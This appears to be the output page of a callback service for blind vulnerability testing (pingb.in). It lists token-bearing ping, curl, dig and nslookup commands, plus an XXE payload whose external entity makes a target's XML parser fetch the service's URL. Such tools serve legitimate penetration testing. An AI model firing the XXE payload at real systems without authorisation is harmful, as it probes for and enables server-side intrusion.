$ ping -c1 -p 0063e73845a0078f037dbc5817c3f100 pingb.in
 
$ curl pingb.in/p/63e73845a0078f037dbc5817c3f1
 
$ dig 63e73845a0078f037dbc5817c3f1 @pingb.in
 
$ dig 63e73845a0078f037dbc5817c3f1.ns.pingb.in
 
C:\> nslookup 63e73845a0078f037dbc5817c3f1 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/63e73845a0078f037dbc5817c3f1">]>
    <foo>&xxe;</foo>
 
Waiting for ping...